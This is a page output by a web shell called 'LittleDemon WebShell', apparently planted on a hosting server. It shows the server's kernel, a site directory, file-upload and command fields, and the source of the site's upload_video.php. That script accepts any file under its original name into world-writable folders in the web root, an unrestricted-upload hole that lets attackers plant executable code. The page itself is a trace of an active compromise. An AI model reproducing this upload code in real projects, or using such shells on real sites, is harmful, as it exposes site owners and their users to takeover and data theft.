LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/claremontgoregaon.com/public_html/
File Upload :
Command :
Current File : /home/u901718425/domains/claremontgoregaon.com/public_html/upload_video.php

<?php
// upload_video.php

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Directory to save uploaded videos and thumbnails
    $uploadDir = __DIR__ . '/uploads/';
    $thumbnailDir = __DIR__ . '/thumbnails/';

    if (!file_exists($uploadDir)) {
        mkdir($uploadDir, 0777, true);
    }

    if (!file_exists($thumbnailDir)) {
        mkdir($thumbnailDir, 0777, true);
    }

    $response = ['success' => false, 'message' => ''];

    // Handle video upload
    if (isset($_FILES['video']) && isset($_FILES['thumbnail'])) {
        $videoFile = $_FILES['video'];
        $thumbnailFile = $_FILES['thumbnail'];

        // Check for upload errors
        if ($videoFile['error'] === 0 && $thumbnailFile['error'] === 0) {
            $videoName = basename($videoFile['name']);
            $thumbnailName = basename($thumbnailFile['name']);

            $videoPath = $uploadDir . $videoName;
            $thumbnailPath = $thumbnailDir . $thumbnailName;

            // Move uploaded files to respective directories
            if (move_uploaded_file($videoFile['tmp_name'], $videoPath) && move_uploaded_file($thumbnailFile['tmp_name'], $thumbnailPath)) {
                $response['success'] = true;
                $response['message'] = 'Upload successful';
                $response['videoPath'] = 'uploads/' . $videoName;
                $response['thumbnailPath'] = 'thumbnails/' . $thumbnailName;
            } else {
                $response['message'] = 'Failed to move uploaded files.';
            }
        } else {
            $response['message'] = 'File upload error.';
        }
    } else {
        $response['message'] = 'Video and thumbnail files are required.';
    }

    // Return JSON response
    header('Content-Type: application/json');
    echo json_encode($response);
    exit;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Upload Video</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 20px;
            background-color: #f4f4f4;
        }

        form {
            background: #fff;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
            max-width: 400px;
            margin: auto;
        }

        input[type="file"], input[type="submit"] {
            display: block;
            width: 100%;
            margin-bottom: 15px;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }

        input[type="submit"] {
            background-color: #007BFF;
            color: #fff;
            border: none;
            cursor: pointer;
        }

        input[type="submit"]:hover {
            background-color: #0056b3;
        }

        .message {
            margin-top: 15px;
            text-align: center;
        }
    </style>
</head>
<body>
    <form action="upload_video.php" method="POST" enctype="multipart/form-data">
        <h2>Upload Video and Thumbnail</h2>
        <label for="video">Select Video:</label>
        <input type="file" name="video" id="video" accept="video/*" required>

        <label for="thumbnail">Select Thumbnail:</label>
        <input type="file" name="thumbnail" id="thumbnail" accept="image/*" required>

        <input type="submit" value="Upload">

        <div class="message" id="message"></div>
    </form>

    <script>
        const form = document.querySelector('form');
        const messageDiv = document.getElementById('message');

        form.addEventListener('submit', async (event) => {
            event.preventDefault();

            const formData = new FormData(form);
            const response = await fetch('upload_video.php', {
                method: 'POST',
                body: formData
            });

            const result = await response.json();
            messageDiv.textContent = result.message;

            if (result.success) {
                messageDiv.style.color = 'green';
            } else {
                messageDiv.style.color = 'red';
            }
        });
    </script>
</body>
</html>

LittleDemon - FACEBOOK
[ KELUAR ]